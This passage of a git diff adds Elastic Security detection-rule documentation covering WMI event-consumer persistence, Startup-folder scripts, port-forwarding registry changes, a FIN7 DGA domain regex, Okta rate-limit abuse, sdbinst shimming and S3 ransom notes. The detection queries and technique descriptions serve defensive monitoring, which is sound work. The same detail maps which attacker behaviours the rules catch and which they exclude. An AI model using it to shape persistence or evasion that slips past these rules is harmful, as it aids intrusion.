whitelist these tools by verifying their source and purpose to prevent unnecessary alerts. +- Security software or monitoring solutions that utilize WMI for legitimate purposes can be flagged. Collaborate with IT and security teams to identify these tools and adjust the rule to exclude their known benign activities. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further malicious activity and lateral movement. +- Terminate any suspicious processes related to `wmic.exe` that are identified as creating event consumers, specifically those involving "ActiveScriptEventConsumer" or "CommandLineEventConsumer". +- Remove any unauthorized WMI event subscriptions by using tools like `wevtutil` or PowerShell scripts to list and delete suspicious event filters, consumers, and bindings. +- Conduct a thorough review of the system's WMI repository to ensure no other malicious or unauthorized configurations exist. +- Restore the system from a known good backup if the integrity of the system is compromised and cannot be assured through manual remediation. +- Update and patch the system to the latest security standards to mitigate any vulnerabilities that may have been exploited. +- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if additional systems are affected. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + (process.name : "wmic.exe" or ?process.pe.original_file_name == "wmic.exe") and + process.args : "create" and + process.args : ("ActiveScriptEventConsumer", "CommandLineEventConsumer") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Windows Management Instrumentation Event Subscription +** ID: T1546.003 +** Reference URL: https://attack.mitre.org/techniques/T1546/003/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Windows Management Instrumentation +** ID: T1047 +** Reference URL: https://attack.mitre.org/techniques/T1047/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-persistent-scripts-in-the-startup-directory.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-persistent-scripts-in-the-startup-directory.asciidoc new file mode 100644 index 0000000000..df6b4985d6 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-persistent-scripts-in-the-startup-directory.asciidoc @@ -0,0 +1,167 @@ +[[prebuilt-rule-8-19-21-persistent-scripts-in-the-startup-directory]] +=== Persistent Scripts in the Startup Directory + +Identifies script engines creating files in the Startup folder, or the creation of script files in the Startup folder. Adversaries may abuse this technique to maintain persistence in an environment. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.file-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne + +*Version*: 317 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Performance* + + +This rule may have low to medium performance impact due to the generic nature of VBS and JS scripts being loaded by Windows script engines. + + +*Investigating Persistent Scripts in the Startup Directory* + + +The Windows Startup folder is a special folder in Windows. Programs added to this folder are executed during account logon, without user interaction, providing an excellent way for attackers to maintain persistence. + +This rule looks for shortcuts created by wscript.exe or cscript.exe, or js/vbs scripts created by any process. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Validate if the activity is not related to planned patches, updates, network administrator activity, or legitimate software installations. +- Assess whether this behavior is prevalent in the environment by looking for similar occurrences across hosts. +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze the file using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. +- Investigate potentially compromised accounts. Analysts can do this by searching for login events (for example, 4624) to the target host after the registry modification. + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Benign true positives (B-TPs) can be added as exceptions if necessary. + + +*Related rules* + + +- Suspicious Startup Shell Folder Modification - c8b150f0-0164-475b-a75e-74b47800a9ff +- Startup Folder Persistence via Unsigned Process - 2fba96c0-ade5-4bce-b92f-a5df2509da3f + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "windows" and event.type != "deletion" and + + /* Call attention to file extensions that may be used for malicious purposes */ + /* Optionally, Windows scripting engine processes targeting shortcut files */ + ( + file.extension : ("vbs", "vbe", "wsh", "wsf", "js", "jse", "sct", "hta", "ps1", "bat", "cmd") or + process.name : ("wscript.exe", "cscript.exe") + ) and not (startsWith(user.domain, "NT") or endsWith(user.domain, "NT")) + + /* Identify files created or changed in the startup folder */ + and file.path : ( + "?:\\Users\\*\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\*", + "?:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Registry Run Keys / Startup Folder +** ID: T1547.001 +** Reference URL: https://attack.mitre.org/techniques/T1547/001/ +* Sub-technique: +** Name: Shortcut Modification +** ID: T1547.009 +** Reference URL: https://attack.mitre.org/techniques/T1547/009/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-port-forwarding-rule-addition.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-port-forwarding-rule-addition.asciidoc new file mode 100644 index 0000000000..5bef67127a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-port-forwarding-rule-addition.asciidoc @@ -0,0 +1,146 @@ +[[prebuilt-rule-8-19-21-port-forwarding-rule-addition]] +=== Port Forwarding Rule Addition + +Identifies the creation of a new port forwarding rule. An adversary may abuse this technique to bypass network segmentation restrictions. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.registry-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-sentinel_one_cloud_funnel.* +* logs-m365_defender.event-* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.fireeye.com/blog/threat-research/2019/01/bypassing-network-restrictions-through-rdp-tunneling.html + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Command and Control +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Microsoft Defender XDR +* Data Source: Crowdstrike + +*Version*: 418 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Port Forwarding Rule Addition* + + +Network port forwarding is a mechanism to redirect incoming TCP connections (IPv4 or IPv6) from the local TCP port to any other port number, or even to a port on a remote computer. + +Attackers may configure port forwarding rules to bypass network segmentation restrictions, using the host as a jump box to access previously unreachable systems. + +This rule monitors the modifications to the `HKLM\SYSTEM\*ControlSet*\Services\PortProxy\v4tov4\` subkeys. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Contact the account and system owners and confirm whether they are aware of this activity. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Assess whether this behavior is prevalent in the environment by looking for similar occurrences across hosts. +- Identify the target host IP address, check the connections originating from the host where the modification occurred, and inspect the credentials used. + - Investigate suspicious login activity, such as unauthorized access and logins from outside working hours and unusual locations. + + +*False positive analysis* + + +- This mechanism can be used legitimately. Analysts can dismiss the alert if the Administrator is aware of the activity and there are justifications for this configuration. +- If this rule is noisy in your environment due to expected activity, consider adding exceptions — preferably with a combination of user and command line conditions. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Delete the port forwarding rule. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type == "change" and + registry.path : "*\\SYSTEM\\*ControlSet*\\Services\\PortProxy\\v4tov4\\*" and registry.data.strings != null + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Proxy +** ID: T1090 +** Reference URL: https://attack.mitre.org/techniques/T1090/ +* Sub-technique: +** Name: Internal Proxy +** ID: T1090.001 +** Reference URL: https://attack.mitre.org/techniques/T1090/001/ +* Technique: +** Name: Protocol Tunneling +** ID: T1572 +** Reference URL: https://attack.mitre.org/techniques/T1572/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-possible-fin7-dga-command-and-control-behavior.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-possible-fin7-dga-command-and-control-behavior.asciidoc new file mode 100644 index 0000000000..c24c3617c6 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-possible-fin7-dga-command-and-control-behavior.asciidoc @@ -0,0 +1,88 @@ +[[prebuilt-rule-8-19-21-possible-fin7-dga-command-and-control-behavior]] +=== Possible FIN7 DGA Command and Control Behavior + +This rule detects a known command and control pattern in network events. The FIN7 threat group is known to use this command and control technique, while maintaining persistence in their target's network. + +*Rule type*: query + +*Rule indices*: + +* packetbeat-* +* auditbeat-* +* filebeat-* +* logs-network_traffic.* +* logs-panw.panos* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html + +*Tags*: + +* Use Case: Threat Detection +* Tactic: Command and Control +* Domain: Endpoint +* Data Source: PAN-OS +* Resources: Investigation Guide + +*Version*: 109 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +In the event this rule identifies benign domains in your environment, the `destination.domain` field in the rule can be modified to include those domains. Example: `...AND NOT destination.domain:(zoom.us OR benign.domain1 OR benign.domain2)`. + +==== Rule query + + +[source, js] +---------------------------------- +(data_stream.dataset: (network_traffic.tls OR network_traffic.http) OR + (event.category: (network OR network_traffic) AND type: (tls OR http) AND network.transport: tcp)) AND +destination.domain:/[a-zA-Z]{4,5}\.(pw|us|club|info|site|top)/ AND NOT destination.domain:zoom.us + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Sub-technique: +** Name: Web Protocols +** ID: T1071.001 +** Reference URL: https://attack.mitre.org/techniques/T1071/001/ +* Technique: +** Name: Dynamic Resolution +** ID: T1568 +** Reference URL: https://attack.mitre.org/techniques/T1568/ +* Sub-technique: +** Name: Domain Generation Algorithms +** ID: T1568.002 +** Reference URL: https://attack.mitre.org/techniques/T1568/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-possible-okta-dos-attack.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-possible-okta-dos-attack.asciidoc new file mode 100644 index 0000000000..b51f255e43 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-possible-okta-dos-attack.asciidoc @@ -0,0 +1,130 @@ +[[prebuilt-rule-8-19-21-possible-okta-dos-attack]] +=== Possible Okta DoS Attack + +Detects possible Denial of Service (DoS) attacks against an Okta organization. An adversary may attempt to disrupt an organization's business operations by performing a DoS attack against its Okta service. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-okta* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://developer.okta.com/docs/reference/api/system-log/ +* https://developer.okta.com/docs/reference/api/event-types/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Use Case: Identity and Access Audit +* Data Source: Okta +* Tactic: Impact +* Resources: Investigation Guide + +*Version*: 414 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Possible Okta DoS Attack* + + +Okta, a leading identity management service, is crucial for managing user access in organizations. Adversaries may exploit Okta by overwhelming it with requests, causing service disruptions. The detection rule identifies potential DoS attacks by monitoring specific Okta system events that indicate rate limit violations, signaling attempts to degrade service availability. + + +*Possible investigation steps* + + +- Review the specific Okta system events that triggered the alert, focusing on event.action values such as application.integration.rate_limit_exceeded, system.org.rate_limit.warning, system.org.rate_limit.violation, and core.concurrency.org.limit.violation to understand the nature of the rate limit violations. +- Analyze the frequency and pattern of the triggered events to determine if there is a consistent or unusual spike in requests that could indicate a DoS attack. +- Identify the source IP addresses or user accounts associated with the excessive requests to determine if they are legitimate users or potential adversaries. +- Check for any recent changes or updates in the Okta configuration or integrations that might have inadvertently caused an increase in request rates. +- Correlate the Okta events with other network or application logs to identify any broader patterns or simultaneous attacks on other services that might suggest a coordinated effort. + + +*False positive analysis* + + +- High-volume legitimate user activity can trigger rate limit warnings. Monitor for patterns of normal usage spikes, such as during company-wide meetings or product launches, and consider setting exceptions for these events. +- Automated processes or integrations that frequently interact with Okta may cause rate limit violations. Identify these processes and adjust their request rates or set exceptions to prevent false positives. +- Scheduled batch jobs that access Okta services might exceed rate limits. Review and optimize the scheduling of these jobs to distribute the load more evenly or whitelist them if they are essential and non-disruptive. +- Third-party applications integrated with Okta could inadvertently cause rate limit issues. Work with vendors to ensure their applications are optimized for Okta's rate limits or create exceptions for trusted applications. +- Temporary spikes in user activity due to password resets or account provisioning can lead to false positives. Implement monitoring to distinguish between these benign activities and potential threats, and adjust the rule to accommodate expected spikes. + + +*Response and remediation* + + +- Immediately assess the impact on business operations by checking the availability and performance of Okta services. Coordinate with IT teams to ensure critical services remain operational. +- Contain the attack by implementing rate limiting or IP blocking for the identified sources of excessive requests. Use network security tools to enforce these restrictions. +- Notify the security operations center (SOC) and relevant stakeholders about the potential DoS attack to ensure awareness and coordinated response efforts. +- Review and adjust Okta's rate limit settings to mitigate the risk of future DoS attempts, ensuring they align with the organization's typical usage patterns. +- Escalate the incident to Okta support for further investigation and assistance in mitigating the attack, providing them with relevant logs and event details. +- Conduct a post-incident analysis to identify any gaps in the current security posture and update incident response plans accordingly. +- Enhance monitoring and alerting for similar threats by refining detection rules and ensuring they are tuned to capture early indicators of rate limit violations. + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:okta.system and event.action:(application.integration.rate_limit_exceeded or system.org.rate_limit.warning or system.org.rate_limit.violation or core.concurrency.org.limit.violation) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Network Denial of Service +** ID: T1498 +** Reference URL: https://attack.mitre.org/techniques/T1498/ +* Technique: +** Name: Endpoint Denial of Service +** ID: T1499 +** Reference URL: https://attack.mitre.org/techniques/T1499/ +* Sub-technique: +** Name: Service Exhaustion Flood +** ID: T1499.002 +** Reference URL: https://attack.mitre.org/techniques/T1499/002/ +* Sub-technique: +** Name: Application Exhaustion Flood +** ID: T1499.003 +** Reference URL: https://attack.mitre.org/techniques/T1499/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-application-shimming-via-sdbinst.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-application-shimming-via-sdbinst.asciidoc new file mode 100644 index 0000000000..a935cb635e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-application-shimming-via-sdbinst.asciidoc @@ -0,0 +1,152 @@ +[[prebuilt-rule-8-19-21-potential-application-shimming-via-sdbinst]] +=== Potential Application Shimming via Sdbinst + +The Application Shim was created to allow for backward compatibility of software as the operating system codebase changes over time. This Windows functionality has been abused by attackers to stealthily gain persistence and arbitrary code execution in legitimate Windows processes. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 318 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Application Shimming via Sdbinst* + + +Application shimming is a Windows feature designed to ensure software compatibility across different OS versions. However, attackers exploit this by using the `sdbinst.exe` tool to execute malicious code under the guise of legitimate processes, achieving persistence. The detection rule identifies suspicious invocations of `sdbinst.exe` by filtering out benign arguments, flagging potential misuse for further investigation. + + +*Possible investigation steps* + + +- Review the process execution details to confirm the presence of sdbinst.exe with suspicious arguments that do not include the benign flags -m, -bg, or -mm. +- Investigate the parent process of sdbinst.exe to determine if it is a legitimate and expected process or if it is potentially malicious. +- Check the timeline of events around the execution of sdbinst.exe to identify any related or preceding suspicious activities, such as unusual file modifications or network connections. +- Analyze the user account associated with the execution of sdbinst.exe to verify if it is a legitimate user and if there are any signs of account compromise. +- Examine the system for any newly installed or modified application compatibility databases (.sdb files) that could be associated with the suspicious execution of sdbinst.exe. +- Correlate the alert with other security tools and logs, such as Microsoft Defender XDR or Sysmon, to gather additional context and confirm the presence of malicious activity. + + +*False positive analysis* + + +- Legitimate software installations or updates may trigger sdbinst.exe with arguments that are not typically malicious. Users should verify the source and purpose of the software to determine if it is expected behavior. +- System administrators might use sdbinst.exe for deploying compatibility fixes across an organization. In such cases, document these activities and create exceptions for known administrative tasks. +- Some enterprise applications may use sdbinst.exe as part of their normal operation. Identify these applications and exclude their specific command-line arguments from triggering alerts. +- Scheduled tasks or scripts that include sdbinst.exe for maintenance purposes can be a source of false positives. Review these tasks and scripts, and whitelist them if they are part of routine operations. +- Regularly review and update the list of exceptions to ensure that only verified and necessary exclusions are maintained, minimizing the risk of overlooking genuine threats. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further malicious activity and lateral movement. +- Terminate any suspicious processes associated with `sdbinst.exe` that do not match known legitimate usage patterns. +- Remove any unauthorized or suspicious application compatibility databases (.sdb files) that may have been installed using `sdbinst.exe`. +- Conduct a thorough scan of the affected system using updated antivirus and anti-malware tools to identify and remove any additional malicious files or persistence mechanisms. +- Review and restore any altered system configurations or registry settings to their default or secure state. +- Escalate the incident to the security operations team for further analysis and to determine if additional systems are affected. +- Implement enhanced monitoring and logging for `sdbinst.exe` executions across the network to detect and respond to future attempts at application shimming. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and process.name : "sdbinst.exe" and + process.args : "?*" and + not (process.args : "-m" and process.args : "-bg") and + not process.args : ( + "-mm", + "?:\\Program Files\\WindowsApps\\Microsoft.ApplicationCompatibilityEnhancements_*\\sdb\\sysMergeInboxStoreApp.sdb", + "\"?:\\Program Files\\WindowsApps\\Microsoft.ApplicationCompatibilityEnhancements_*\\sdb\\sysMergeInboxStoreApp.sdb\"", + "?:\\Program Files\\WindowsApps\\Microsoft.ApplicationCompatibilityEnhancements_*\\sdb\\msiMergeInboxStoreApp.sdb", + "\"?:\\Program Files\\WindowsApps\\Microsoft.ApplicationCompatibilityEnhancements_*\\sdb\\msiMergeInboxStoreApp.sdb\"", + "?:\\Program Files (x86)\\Citrix\\ICA Client\\CitrixWorkspaceLegacySWDA.sdb", + "Citrix Workspace", + "C:\\Program Files\\IIS Express\\iisexpressshim.sdb", + "C:\\Program Files (x86)\\IIS Express\\iisexpressshim.sdb" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Application Shimming +** ID: T1546.011 +** Reference URL: https://attack.mitre.org/techniques/T1546/011/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Application Shimming +** ID: T1546.011 +** Reference URL: https://attack.mitre.org/techniques/T1546/011/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-aws-s3-bucket-ransomware-note-uploaded.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-aws-s3-bucket-ransomware-note-uploaded.asciidoc new file mode 100644 index 0000000000..a2d010edeb --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-aws-s3-bucket-ransomware-note-uploaded.asciidoc @@ -0,0 +1,177 @@ +[[prebuilt-rule-8-19-21-potential-aws-s3-bucket-ransomware-note-uploaded]] +=== Potential AWS S3 Bucket Ransomware Note Uploaded + +Identifies potential ransomware note being uploaded to an AWS S3 bucket. This rule detects the PutObject S3 API call with an object name commonly associated with ransomware notes. The keywords detected here rarely overlap with common file names and have been attributed to ransomware notes with high-confidence. Adversaries with access to a misconfigured S3 bucket may retrieve, delete, and replace objects with ransom notes to extort victims. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://stratus-red-team.cloud/attack-techniques/AWS/aws.impact.s3-ransomware-batch-deletion/ +* https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/ +* https://www.mdpi.com/2073-431X/10/11/145#computers-10-00145-f002 + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS S3 +* Use Case: Threat Detection +* Tactic: Impact +* Resources: Investigation Guide + +*Version*: 12 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential AWS S3 Bucket Ransomware Note Uploaded* + + +This rule detects a successful `PutObject` to S3 where the object key matches common ransomware-note patterns (for example, `readme`, `decrypt`, `ransom`, and combinations with `file`). Attackers who obtain credentials or abuse overly-permissive bucket policies can upload ransom notes (often after deleting or encrypting data). + + +*Possible investigation steps* + + +**Confirm the actor and session details** +- Review `aws.cloudtrail.user_identity.*` (ARN, type, access key, session context), `source.ip`, `user.agent`, and `tls.client.server_name` to identify who performed the upload and from where. Validate whether this principal typically writes to this bucket. + +**Inspect the object key and bucket context** +- From `aws.cloudtrail.request_parameters`, capture the exact `key` and `bucketName`. Check whether the key is publicly readable (ACL), whether the bucket is internet-exposed, and whether replication or lifecycle rules could propagate or remove related objects. + +**Pivot to related S3 activity around the same time** +- Look for `DeleteObject`/`DeleteObjects`, mass `PutObject` spikes, `PutBucketPolicy`, `PutPublicAccessBlock`, `PutBucketVersioning`, and `PutBucketLifecycleConfiguration` events on the same bucket or by the same actor to determine if data destruction, policy tampering, or guard-rail changes occurred. + +**Assess blast radius across the account** +- Search recent CloudTrail for the same actor/IP touching other buckets, KMS keys used by those buckets, and IAM changes (new access keys, policy attachments, role assumptions) that could indicate broader compromise paths consistent with ransomware playbooks. + +**Check protections and recovery posture on the bucket** +- Verify whether S3 Versioning and (if in use) Object Lock legal hold are enabled; note prior versions available for the affected key, and whether lifecycle rules might expire them. + +**Correlate with threat signals** +- Review other related alerts, GuardDuty S3-related findings, AWS Config drift on the bucket and its policy, and any SOAR/IR runbook executions tied to ransomware triage. + + +*False positive analysis* + 